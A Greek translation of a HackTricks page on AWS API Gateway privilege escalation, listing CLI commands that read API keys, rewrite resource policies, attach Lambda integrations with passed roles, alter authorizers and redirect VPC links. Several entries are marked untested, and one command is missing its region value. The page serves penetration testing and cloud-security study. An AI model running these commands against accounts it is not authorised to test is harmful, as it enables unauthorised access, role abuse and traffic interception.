AWS - Apigateway Privesc

Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Apigateway

Για περισσότερες πληροφορίες ελέγξτε:

pageAWS - API Gateway Enum

apigateway:POST

Με αυτήν την άδεια μπορείτε να δημιουργήσετε κλειδιά API για τις παραμετροποιημένες API (ανά περιοχή).

aws --region <region> apigateway create-api-key

Πιθανές Επιπτώσεις: Δεν μπορείτε να πραγματοποιήσετε προνομιούχα ανόδο με αυτήν την τεχνική, αλλά μπορείτε να αποκτήσετε πρόσβαση σε ευαίσθητες πληροφορίες.

apigateway:GET

Με αυτήν την άδεια μπορείτε να λάβετε τα παραγόμενα κλειδιά API των παραμετροποιημένων API (ανά περιοχή).

aws --region apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value

Πιθανές Επιπτώσεις: Δεν μπορείτε να πραγματοποιήσετε προνομιούχα ανέλιξη με αυτήν την τεχνική, αλλά μπορείτε να αποκτήσετε πρόσβαση σε ευαίσθητες πληροφορίες.

apigateway:UpdateRestApiPolicy, apigateway:PATCH

Με αυτές τις άδειες είναι δυνατόν να τροποποιήσετε την πολιτική πόρων ενός API για να αποκτήσετε πρόσβαση για να το καλέσετε και να καταχραστείτε τυχόν πρόσβαση που μπορεί να έχει το API gateway (όπως η κλήση ενός ευάλωτου lambda).

aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'

Πιθανές Επιπτώσεις: Συνήθως, δεν θα μπορείτε να αναβαθμίσετε άμεσα με αυτήν την τεχνική, αλλά μπορείτε να αποκτήσετε πρόσβαση σε ευαίσθητες πληροφορίες.

apigateway:PutIntegration, apigateway:CreateDeployment, iam:PassRole

Χρειάζεται δοκιμή

Ένας επιτιθέμενος με τις άδειες apigateway:PutIntegration, apigateway:CreateDeployment και iam:PassRole μπορεί να προσθέσει μια νέα ενσωμάτωση σε ένα υπάρχον API Gateway REST API με μια συνάρτηση Lambda που έχει συνδεδεμένο ένα ρόλο IAM. Ο επιτιθέμενος μπορεί στη συνέχεια να ενεργοποιήσει τη συνάρτηση Lambda για να εκτελέσει αυθαίρετο κώδικα και πιθανώς να αποκτήσει πρόσβαση στους πόρους που συνδέονται με τον ρόλο IAM.

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"

# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Πιθανές Επιπτώσεις: Πρόσβαση σε πόρους που σχετίζονται με τον ρόλο IAM της συνάρτησης Lambda.

apigateway:UpdateAuthorizer, apigateway:CreateDeployment

Απαιτείται δοκιμή

Ένας επιτιθέμενος με τις άδειες apigateway:UpdateAuthorizer και apigateway:CreateDeployment μπορεί να τροποποιήσει έναν υπάρχοντα εξουσιοδοτητή του API Gateway για να παρακάμψει τους ελέγχους ασφαλείας ή να εκτελέσει αυθαίρετο κώδικα όταν γίνονται αιτήσεις στο API.

API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"

# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Πιθανές Επιπτώσεις: Παράκαμψη ελέγχων ασφαλείας, μη εξουσιοδοτημένη πρόσβαση σε πόρους του API.

Χρειάζεται δοκιμή

Ένας επιτιθέμενος με την άδεια apigateway:UpdateVpcLink μπορεί να τροποποιήσει έναν υπάρχοντα σύνδεσμο VPC για να δείχνει σε έναν διαφορετικό Network Load Balancer, πιθανώς ανακατευθύνοντας την ιδιωτική κίνηση του API σε μη εξουσιοδοτημένους ή κακόβουλους πόρους.

bashCopy codeVPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"

# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"

Πιθανές Επιπτώσεις: Μη εξουσιοδοτημένη πρόσβαση σε ιδιωτικούς πόρους του API, παρεμπόδιση ή διακοπή της κίνησης του API.

Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated